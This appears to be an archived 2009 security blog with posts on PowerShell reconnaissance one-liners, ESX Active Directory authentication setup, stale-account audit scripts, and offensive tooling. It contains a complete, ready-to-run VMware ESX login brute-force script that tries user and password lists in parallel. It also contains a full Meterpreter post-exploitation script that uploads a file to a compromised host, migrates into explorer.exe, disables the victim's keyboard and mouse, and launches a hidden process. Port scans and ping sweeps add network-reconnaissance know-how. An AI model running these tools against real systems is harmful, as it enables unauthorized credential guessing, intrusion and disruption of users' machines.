Wednesday, September 23, 2009

Powershell Port Scan

Ed Skoudis used the for loop to create an ftp script for the ftp command in order to do a port scan. I did an modification to it so that it didn't require the script file and no files were written to the file system. You can find that posting here:
http://blog.securitywhole.com/2009/02/28/ftp-port-scanning.aspx

In my quest to port the Kung Fu of Mr. Skoudis in to powershell I came up with this command:

1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect("10.10.10.10",$_)) "$_ is open" } 2>out-null

If you have been following the previous entries there isn't anything fancy here, except one handy little trick that has to do with the output from the echo command. If you look closely you see that the command attempts to write the output of the connection as well as the string at the end. If the first portion throws an error, then the second part isn't output. Here is a simple example with the output.
PS C:\> echo (1+1) (2+2)
2
4

If we replace the (1+1) with (1/0) then nothing is displayed (other than the error). . If we discard the error with 2>Out-Null then there is no output.
PS C:\> echo (1/0) (2+2) 2>Out-Null(No Output)

We can use this to our advantage. If our connection fails, an error is raised and we don't output the "$_ is open" portion. If the connection works then the "$_ is open" is displayed.

Unfortunately, there is no easy way to change the connection timeout so this process is slow. We can do it with asynchronous calls, but that is a lot of work and is no longer a one liner. I'll put that in a future version.

Powershell NSLookup Brute Force

Stealing two other commands from Mr. Skoudis we can do an nslookup of each host in a range.

for /L %i in (1,1,255) do @echo 10.10.10.%i: & @nslookup 10.10.10.%i 2>nul | find "Name"
10.10.10.1
10.10.10.2
10.10.10.3
Name:    server.blah.com
10.10.10.4

for /L %i in (1,1,255) do @nslookup 10.10.10.%i 2>nul | find "Name" && echo 10.10.10.%i
Name:    server.blah.com

10.10.10.3

The first command shows each IP as it is looked up. The second only shows those that successfully resolve.
Here is the powershell version and it's output:

1..255 | % { [System.Net.Dns]::GetHostByAddress("10.10.10.$_") } 2> Out-Null | Format-List
HostName    : server.blah.com
Aliases     : {loadbalancer.blah.com, service.blah.com, service2.blah.com, service3.blah.com}
AddressList : {10.10.10.3}


You'll notice a big difference from the first output. The standard nslookup just returns one result, while the powershell version gets all the aliases. We may not have ever known about those other DNS entries otherwise.
Using the [System.Net.Dns]::GetHostByAddress() method gives us more power, plus we can send the objects we want down the pipeline for further actions. We use the 2> Out-Null so that the error messages for the unresolvable IP addresses aren't shown.

Powershell Ping Sweep

Ed Skoudis came up with some fantastic Command Line Kung Fu for Windows to do some basic scanning. Powershell is becoming more and more common so I decided to port these commands to powershell. I think Ed would agree that the standard windows commands can be rather painful and aren't easily extensible (blasted windows) and I hoped to make it slightly less agonizing. In order to make it easier to understand, I won't use the shortcuts in my examples for the foreach-object cmdlet (%) or where-object cmdlet (?).

The first CLKF I thought I would tackle was the ping sweep. You can check out the great write-up over at the Command Line Kung Fu Blog.
http://blog.commandlinekungfu.com/2009/03/episode-6-command-line-ping-sweeper.html

Taken from the blog, here is the Windows command to do ping sweep at the command line and its associated output:

C:\>for /L %i in (1,1,255) do @ping -n 1 10.10.10.%i | find "Reply"

Reply from 192.168.1.1: bytes=32 time=4ms TTL=64
Reply from 192.168.1.3: bytes=32 time=5ms TTL=64
Reply from 192.168.1.37: bytes=32 time=4ms TTL=64

The above command uses a FOR loop to ping each device and looks for "Reply" in the output. If there is a "Reply" then the host is up (duh).
Here is the powershell version and its output:

PS C:\>1..255 | foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") } | where-object {$_.Status -eq "success"} | select Address

Address
-------
10.10.10.1
10.10.10.3
10.10.10.37

At first glance the results are very similar and you would think, "Why all the extra typing? The second command is 2.5 times longer!" The big difference between the standard windows command line and powershell is that the latter uses objects, which gives a lot of power...in our shell. Not let's see how it works...
In the above command the range operator (..) generates a list of the numbers 1 through 255. The cool thing is you don't have to use just a single range, you can string them together like this (1..5),7,(9..10) which would give you the numbers 1-10 skipping 6 and 8.

foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") }

The foreach-object takes the numbers fed into the pipeline and operates on them one at a time. First, it creates a new ping object and then calls the send method. The parameter given to the send method is a string concatenation of 10.10.10. and the number from $_, which is the "current pipeline object." The $_ variable in our example will contain the numbers 1-255.
where-object {$_.Status -eq "success"}
The output of the send method is the PingReply object which contains a status. We can filter the results only successful pings reply objects will be sent further down the pipeline.
Select Address

Finally, all we care about is the address so that is the only piece we have displayed.

Now that we know how it works, let's pimp out our powershell version.

First, we don't have to just use a contiguous set of numbers. If we wanted to scan all ip address before 10.10.10.100, after 10.10.10.200 and 10.10.10.155 we could use this:

(1..99),(200..255),155 | foreach-object ....
We can use the results to feed into other commands. You can ping sweep an entire subnet and have it automatically do an nslookup, attempt to list the contents of the c$ share, and tell you that you are doing a good job (a little positive reinforcement never hurts).

PS C:\>1..255 | foreach-object { (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_") } | where-object {$_.Status -eq "success"} | foreach-object { nslookup $_; gci "\\$($_.Address)\c$"; echo "Good Job" }

The ping sweep can be sped up by setting a timeout value (in milliseconds). In the example below we set the timeout value to 100ms.
... (new-object System.Net.Networkinformation.Ping).Send("10.10.10.$_", 100) ...
Next time we'll look into using the powershell version of nslookup and the brute force reverse dns lookup.

Sunday, September 20, 2009

VMware Login via AD

I put this together in order to integrate the login from VMWare into AD.

NTP
To setup the ESX server for AD authentication the following steps need to be taken. NTP needs to be done first so the server has a time close to that of the domain controller. The ntp ports need to be opened via the gui and the deamon needs to be started as well.

Allow the ntp client access through the firewall
In the GUI under the Configuration tab click on Security Profile then click on Properties… on the top right. A Firewall Options window will open.  Click the checkbox next to NTP Client.

Edit the ntp configuration file located at /etc/ntp.conf

Under servers add the same servers the domain uses for ntp (i.e. tock.usno.navy.mil and tick.usno.navy.mil)
Add:
restrict default kod nomodify notrap
delete:
fudge line
server  127.127.1.0 #local clock
e.g.:
restrict default kod nomodify notrap
server tock.usno.navy.mil
server tick.usno.navy.mil

Edit the steptickers file located at /etc/ntp/step-tickers
add the same servers the domain uses for ntp on separate lines
tock.usno.navy.mil
tick.usno.navy.mil

restart the ntp service:
service ntpd restart
 
check to make sure the time update worked (from command line)
ntpdate -q tock.usno.navy.mil
ntpdate -q tick.usno.navy.mil

Active Directory Authentication
Paste these lines into the CLI. The first two lines can be added via the GUI. VIC -> Configuration -> Security Profile -> Properties -> Add activeDirectorKerberos [sic] (NOT Kerberos).
esxcfg-firewall --openPort 88,tcp,out,KerberosClient
esxcfg-firewall --openPort 464,tcp,out,KerberosPasswordChange
esxcfg-auth --enablead --addomain agstar.local --addc mydc.mycdomain.blah
esxcfg-auth --enablekrb5 --krb5realm=agstar.local --krb5kdc=
mydc.mycdomain.blah-–krb5adminserver=mydc.mycdomain.blah

Edit the VMWare Authentication deamon config located at /etc/pam.d/vmware-authd and add this line to the top:
auth sufficient /lib/security/pam_unix_auth.so shadow nullok

Prevent users’ password from expiring since that is taken care of in AD.
esxcfg-auth --passmaxdays=-1

Add users using the username found in AD
adduser jdoe
adduser ymomma
adduser bdover


Done

Now don't forgot to add the users to the wheel groups so they can ssh to the box. Also, add them to the sudoers file so they don't have to use su.

Tuesday, September 1, 2009

Brute Force ESX Username/Password

This script will brute force the connection to ESX. You can either give it a single username or a username file. Similarly, you can either give it a single password or a password file. You also have the ability to define how many jobs will run in parallel.

#--------------------------------------------------------------
#Description: Powershell Simple VMware ESX Login Brute Force Script
#Version: 1.0
#Author: Tim Medin
#Email: TimMedin A@T securitywhole D.O.T com
#--------------------------------------------------------------
#Parameter Declaration
param (
[Parameter(Position
=0)]
[
string] $Server = $(Read-Host -prompt "Server"),
[Parameter(Mandatory
=$false)]
[
string] $User,
[Parameter(Mandatory
=$false)]
[
string] $Password,
[Parameter(Mandatory
=$false)]
[
string] $UsersFile,
[Parameter(Mandatory
=$false)]
[
string] $PasswordsFile,
[Parameter(Mandatory=$false)]
[
int] $MaxJobs = 10
)

# Function to handle the jobs once they complete
# As the jobs finish (Completed, or Failed) they are handled by this routine
# Each Job has a child job that actually does the work, if that job
# does not have an error then we have found a successful user/pass combo
Function Handle-Jobs {
    Get-Job | Where-Object {
$_.State -ne "Running"} | ForEach-Object {
        $job = $_
        if (!$job.ChildJobs[0].Error) {
            # Found one!
            Receive-Job $job -Keep | Out-Null
            # Echo the user/pass combo stored the job name
            echo "Found $($job.Name)"
            #Clean up all the running jobs
            Get-Job | Stop-Job
            Get-Job | Remove-Job
            #quit
            exit
        }
        Remove-Job
$job
    }
}

# Make sure we have enough info passed in from the parameters
if (!$User -and !$UsersFile) {
    throw "User or UserFile required."
}
if (!$Password -and !$PasswordsFile) {
    throw "Password or PasswordFile required."
}

# If the UsersFile and a Username are provided then use the UsersFile
# Convert UsersFile or single User into an array so we can use a loop
if ($UsersFile)
{
    $Users = Get-Content $UsersFile
}
else
{
    $Users = @($User)
}

# If the PasswordsFile and aPassword is provided then use the PasswordsFile
# Convert PasswordsFile or single Password into an array so we can use a loop
if ($PasswordsFile)
{
    $Passwords = Get-Content $PasswordsFile
}
else
{
    $Passwords = @($Password)
}

$Passwords | ForEach-Object {
    $pass = $_
    $Users | ForEach-Object {
        $usr = $_
 
        # If too many jobs running then wait for some to complete
        while ((Get-Job).Count -ge $MaxJobs) {
            Handle-Jobs
            Start-Sleep -Seconds 5
        }
 
        # Start the job to attempt the connection
        Start-Job -InitializationScript {Add-PSSnapin VMware.VimAutomation.Core} -ScriptBlock { param($Server, $usr, $pass) Connect-VIServer -Server $Server -Protocol https -User $usr -Password $pass } -Name "User:$usr Pass:$pass" -ArgumentList $Server,$usr,$pass
    }
}

"Everything has been queued, waiting for jobs to complete"

# Wait for the jobs to complete
Do {
    Handle-Jobs
    Start-Sleep -Seconds 5
}
while (Get-Job)

Wednesday, August 12, 2009

Finding Old or Unused Accounts with Powershell v2

Here is a version that was 200 times faster in my environment. Depending on the number of domain controllers it could be even faster for you. It does one big query for each domain controller and then compiles the results. The original script took 45 minutes, this version took 13 seconds.

This script returns a list with all users and their last logon date/time. You can then filter by logon's older than a certain date/time, sort, or export it.


$dcs = [System.DirectoryServices.ActiveDirectory.Domain]::getcurrentdomain().DomainControllers | select name


$startdate = get-date('1/1/1601')


$lst = new-Object System.Collections.ArrayList
foreach ($dc in $dcs) {
 $root = [ADSI] "LDAP://
$($dc.Name):389"
 $searcher = New-Object System.DirectoryServices.DirectorySearcher $root
 $searcher.filter = "(&(objectCategory=person)(objectClass=user))"
 $searcher.PropertiesToLoad.Add("name") | out-null
 $searcher.PropertiesToLoad.Add("LastLogon") | out-null
 $searcher.PropertiesToLoad.Add("displayName") | out-null
 $searcher.PropertiesToLoad.Add("userAccountControl") | out-null
 $searcher.PropertiesToLoad.Add("canonicalName") | out-null
 $searcher.PropertiesToLoad.Add("title") | out-null
 $searcher.PropertiesToLoad.Add("sAMAccountName") | out-null
 $searcher.PropertiesToLoad.Add("sn") | out-null
 $searcher.PropertiesToLoad.Add("givenName") | out-null
 $results = $searcher.FindAll()


 foreach ($result in $results)
 {


  $user = $result.Properties;
  $usr = $user | select -property @{name="Name"; expression={$_.name}},
          @{name="LastLogon"; expression={$_.lastlogon}},
          @{name="DisplayName"; expression={$_.displayname}},
          @{name="Disabled"; expression={(($_.useraccountcontrol[0]) -band 2) -eq 2}},
          @{name="CanonicalName"; expression={$_.canonicalname}},
          @{name="Title"; expression={$_.title}},
          @{name="sAMAccountName"; expression={$_.samaccountname}},
          @{name="LastName"; expression={$_.sn}},
          @{name="FirstName"; expression={$_.givenname}}


  $lst.Add($usr) | out-null
 }
}


 


$lst | group name | select-object Name,
         @{Expression={ ($_.Group | Measure-Object -property LastLogon -max).Maximum }; Name="LastLogon" },
         @{Expression={ ($_.Group | select-object -first 1).DisplayName}; Name="DisplayName" },
         @{Expression={ ($_.Group | select-object -first 1).CanonicalName}; Name="CanonicalName" },
         @{Expression={ ($_.Group | select-object -first 1).Title}; Name="Title" },
         @{Expression={ ($_.Group | select-object -first 1).sAMAccountName}; Name="sAMAccountName" },
         @{Expression={ ($_.Group | select-object -first 1).LastName}; Name="LastName" },
         @{Expression={ ($_.Group | select-object -first 1).FirstName}; Name="FirstName" },
         @{Expression={ ($_.Group | select-object -first 1).Disabled}; Name="Disabled" } |
     select-object Name, DisplayName, CanonicalName, Title, sAMAccountName, LastName, FirstName, Disabled,
         @{Expression={ $startdate.adddays(($_.LastLogon / (60 * 10000000)) / 1440) }; Name="LastLogon" }

Monday, June 29, 2009

Finding Old or Unused Accounts with Powershell

Recently I tried to find accounts that haven't been used in a long time. In order to do this I wrote a powershell script to get the last logon time for all accounts in the domain. The problem is, each domain controller contains a different time for the Last Logon depending on which was used as the logon server. In order to get an accurate time we need to get the last logon from each domain controller for each user. This is NOT a fast process. If there are 500 users and 4 domain controllers that is 2000 requests. On top of that some of the domain controllers might be a different location with a slower WAN link which will make it go even slower.

Note: This script requires Quest Software's Active Directory cmdlets. You can download it from here: http://www.quest.com/powershell/activeroles-server.aspx


Add-PSSnapIn Quest.ActiveRoles.ADManagement -ErrorAction SilentlyContinue

$dcs = Get-QADComputer -ComputerRole DomainController
$users = Get-QADUser -SizeLimit 0

#$ErrorActionPreference = "Continue"

foreach ($user in $users) {
    #"Searching $($user.Name)"
    $lastlogon = $null
    foreach ($dc in $dcs) { 
        $dclogon = (Get-QADUser -Service $dc.Name -SamAccountName $user.Name).LastLogon
        #"$($user.Name) $($dc.Name) $dclogon"
        if ($dclogon -ne $Null) {
            if ($lastlogon -lt $dclogon) {
                #write-host "replacing"
                $lastlogon = $dclogon
            }
        }
    }
    
    if ($lastlogon -eq $Null) { $lastlogon = [dbnull]::value }
    #"$($user.Name) $lastlogon"
    
    $o = New-Object PSObject
    $o | Add-Member NoteProperty "User" $user.Name
    $o | Add-Member NoteProperty "LastLogin" $lastlogon
    $o | Add-Member NoteProperty "DisplayName" $user.DisplayName
    $o | Add-Member NoteProperty "Disabled" ([ADSI]("LDAP://$($user.DN.ToString())")).PsBase.InvokeGet("AccountDisabled")
    $o | Add-Member NoteProperty "DistinguishedName" $user.DN
    $o | Add-Member NoteProperty "Title" $user.title
    $o | Add-Member NoteProperty "SamAccountName" $user.SamAccountName
    $o | Add-Member NoteProperty "LastName" $user.LastName
    $o | Add-Member NoteProperty "FirstName" $user.FirstName
    
    Write-Output $o
}

Assuming you put this script in the file Get-LastLogin.ps1 you can find all accounts that haven't logged in during the past 90 days.
.\Get-LastLogin.ps1 | where {$_.LastLogin -lt (Get-Date).AddDays(-90)}

If you want to sort the results and save it as a csv you can do this:
.\Get-LastLogin.ps1 | where {$_.LastLogin -lt (Get-Date).AddDays(-90)} | | Sort-Object @{expression="LastLogin";Descending=$true},@{expression="User";Ascending=$true} | Export-Csv "c:\lastloginreport.csv" -noTypeInformation

Saturday, May 16, 2009

Make Windows more secure, use a blank password

Today I was attacking and pillaging a test windows machine from a linux box. Many windows machines are setup with a blank administrator password since people just hit the enter key when they are prompted for a password. I was testing to see what happens on these machines with this configuration. I also created another account with a blank password.

Using either of these accounts I was able to connect to manually created shares, but not to the admin shares (c$, d$, admin$). Beginning with Windows XP Home edition and later non-server editions of Windows, Windows implements the "ForceGuest" feature when the local Administrator account has a blank password. When a remote user authenticates to Windows XP (and later) as Administrator with a blank password (e.g. by mapping to one of the administrative shares), Windows will assign to their session a Guest access token, not an Administrator access token thereby preventing access to the entire C drive (a good thing).

These home users who have "picked" the blank password when forced to pick a real password would probably pick a password that is very easy to guess, such as "password", <username>, or some word in a monosyllabic dictionary. It is arguable more secure for these users to have no password than to pick one. No, neither of these options is good (both are dumb), but at least Microsoft prevents users from exceptionally reducing their security. 

Yes, I understand the stupidity of the argument either way, this is meant to be a little touch-in-cheek.

If you are interested in the tools I was using here they are:
hydra
nbtscan
rpcclient  - link1 link2
smbclient

Wednesday, April 1, 2009

www.microsoft.com and hosts file wierdness. Why?

From a Windows XP SP3 machine with all patches I ping www.microsoft.com and
it hits 65.55.21.250

I then add the following line to my hosts file
127.0.0.1 www.microsoft.com

I flush dns
ipconfig /flushdns

I then ping www.microsoft.com and it still resolves to 65.55.21.250

Why?

Monday, March 30, 2009

Rickroll Meterpreter Script

In order to be well prepared for April Fools day I decided to put out a rickroll meterpreter script.

It defaults to looking for rickroll.mp3 in the metasploit framework root directory, but you can use another file with the -f option. I don't parse out the name so you will have to copy it into the metasploit directory.

You can also use any file format supported by windows media player so you can have it play a wmv (even better). By default the process is hidden, but you can make it visible with a -v option.

New Features!
And just for added fun, throw in a -k to disable the keyboard or -m to disable the mouse or you can go all in by using the -e to disable the mouse and keyboard and save precious keystrokes.

Here is the file:
rickroll.tar

Put it in framework3/meterpreter/scripts

#
# Provided by Tim Medin at timmedin[at]gmail [dot] com
#
# Uploads the rick roll'ing mp3 and then runs it as a hidden process
# You can also upload a different file (like a wmv video) and have it display -v
#
# Known Issues: I don't parse the file name provided by -f so make
#   sure the file is in the framework's root directory
#
# Added disable keyboard and mouse features
#
# *** Thanks for help from dark operator (Carlos Perez) ***
#
def message
        print_status "Rickroll'ing Meterpreter Script"
end
def usage
        print(
        "Windows Rickroll Meterpreter Script\n" +
        "Usage: rickroll [-h] [-k] [-m] [-e] [-v] \[-f <filename>\]\n" +
        @@exec_opts.usage
        )
end

@@exec_opts = Rex:arser::Arguments.new(
  "-h"  => [ false,  "Help menu."],
  "-f"  => [ false,  "File to upload"],
  "-k"  => [ false,  "Disable Keyboard"],
  "-m"  => [ false,  "Disable Mouse"],
  "-e"  => [ false,  "Disable Keyboard & Mouse"],
  "-v"  => [ false,  "Visible"]
)

rick = "rickroll.mp3"
mediaplayer = "\"C:\\Program Files\\Windows Media Player\\wmplayer.exe\""
visible = false
keyboard = true
mouse = true

@@exec_opts.parse(args) { |opt, idx, val|
        case opt
                when "-k"
                        keyboard = false
                when "-m"
                        mouse = false
                when "-e"
                        keyboard = false
                        mouse = false
                when "-v"
                        visible = true
                when "-f"
                        rick = val
                when "-h"
                        usage
                        abort
                        break
                end
}

session = client

#upload file
print_status("Uploading file #{rick}")
uploadpath = session.fs.file.expand_path("%temp%") + "\\#{rand(100)}.mp3"
client.fs.file.upload_file(uploadpath, rick)
print_status("Uploaded file to #{uploadpath}")

if (session.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
        go = false
        process2mig = "explorer.exe"
        session.sys.process.get_processes().each do |x|
        if (process2mig.index(x['name'].downcase))
                print_status("\t#{process2mig} Process found, migrating..")
                session.core.migrate(x['pid'].to_i)
                print_status("Migration Successful!!")
                go = true
                end
        end
else
        go = true
end

if (go)
        if (!mouse)
                print_status("Disabling mouse to extend the pain!")
                session.ui.disable_mouse
        end
        if (!keyboard)
                print_status("Disabling keyboard to extend the pain!")
                session.ui.disable_keyboard
        end
        print_status("Rick rolling!")
        client.sys.process.execute("#{mediaplayer} \"#{uploadpath}\"", nil, {'Hidden' => !visible})
else
        print_status("Need logged in user to execute, cannot find explorer.exe to migrate")
end